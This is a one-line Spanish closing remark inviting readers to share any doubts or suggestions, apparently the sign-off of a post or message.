Cualquier duda y/ó sugerencia haganmela saber.